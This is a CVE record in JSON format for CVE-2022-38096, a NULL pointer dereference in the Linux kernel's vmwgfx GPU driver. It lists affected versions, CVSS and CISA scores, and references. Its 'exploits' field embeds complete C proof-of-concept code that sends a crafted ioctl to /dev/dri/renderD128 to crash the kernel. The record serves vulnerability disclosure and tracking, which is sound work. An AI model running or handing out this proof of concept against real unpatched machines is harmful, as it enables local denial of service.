Files
vuln-cve/data/2022/38xxx/CVE-2022-38096.json
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{
"dataType": "CVE_RECORD",
"cveMetadata": {
"state": "PUBLISHED",
"cveId": "CVE-2022-38096",
"assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
"assignerShortName": "Anolis",
"dateUpdated": "2026-10-14T17:30:51.795Z",
"dateReserved": "2022-09-07T00:00:00.000Z",
"datePublished": "2022-09-09T14:39:51.163Z"
},
"containers": {
"cna": {
"title": "There is a NULL pointer vulnerability in vmwgfx driver",
"datePublic": "2022-09-06T00:00:00.000Z",
"providerMetadata": {
"orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
"shortName": "Anolis",
"dateUpdated": "2024-06-25T21:08:05.642Z"
},
"descriptions": [
{
"lang": "en",
"value": "A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
}
],
"affected": [
{
"vendor": "Linux",
"product": "kernel",
"versions": [
{
"version": "v4.20-rc1",
"status": "affected",
"lessThan": "5.13.0-52*",
"versionType": "custom"
}
]
}
],
"references": [
{
"url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
},
{
"name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
"tags": [
"mailing-list"
],
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
}
],
"credits": [
{
"lang": "en",
"value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"type": "CWE",
"lang": "en",
"description": "CWE-476 NULL Pointer Dereference",
"cweId": "CWE-476"
}
]
}
],
"x_generator": {
"engine": "Vulnogram 0.0.9"
},
"source": {
"defect": [
"https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
],
"discovery": "INTERNAL"
},
"exploits": [
{
"lang": "en",
"value": "#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <linux/if_tun.h>\n#include <net/if.h>\n#include <sys/ioctl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <sys/socket.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/ioctl.h>\n#include <errno.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdint.h>\n#include <netinet/ip.h>\n#include <sys/resource.h>\n#include <sys/syscall.h>\n#include <limits.h>\n#include <sys/mman.h>\n\n#include <linux/fs.h>\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int sid){ \nint cmd[0x1000]={0};\ncmd[0]=1165;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2; \n\targ.context_handle=sid;\n if (ioctl(fd, 0x4028644C, &arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, &arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[0]; \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, &arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, &arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context(); \n printf(\"%d\",cid); \n poc(cid); \n \n}"
}
]
},
"adp": [
{
"affected": [
{
"vendor": "linux",
"product": "linux_kernel",
"cpes": [
"cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
],
"defaultStatus": "unknown",
"versions": [
{
"version": "v4.20-rc1",
"status": "affected",
"lessThan": "5.14",
"versionType": "custom"
}
]
}
],
"metrics": [
{
"other": {
"type": "ssvc",
"content": {
"timestamp": "2024-06-26T13:45:25.191519Z",
"id": "CVE-2022-38096",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"version": "2.0.3"
}
}
}
],
"title": "CISA ADP Vulnrichment",
"providerMetadata": {
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP",
"dateUpdated": "2024-06-26T13:49:29.690Z"
}
},
{
"providerMetadata": {
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE",
"dateUpdated": "2024-08-03T10:45:52.802Z"
},
"title": "CVE Program Container",
"references": [
{
"url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073",
"tags": [
"x_transferred"
]
},
{
"name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
}
]
},
{
"x_adpType": "supplier",
"providerMetadata": {
"orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
"shortName": "siemens-SADP",
"dateUpdated": "2026-10-14T17:30:51.795Z"
},
"affected": [
{
"vendor": "Siemens",
"product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
"versions": [
{
"status": "affected",
"version": "0",
"lessThan": "V1.1.1",
"versionType": "custom"
}
],
"defaultStatus": "unknown"
}
],
"references": [
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
}
]
}
]
},
"dataVersion": "5.2"
}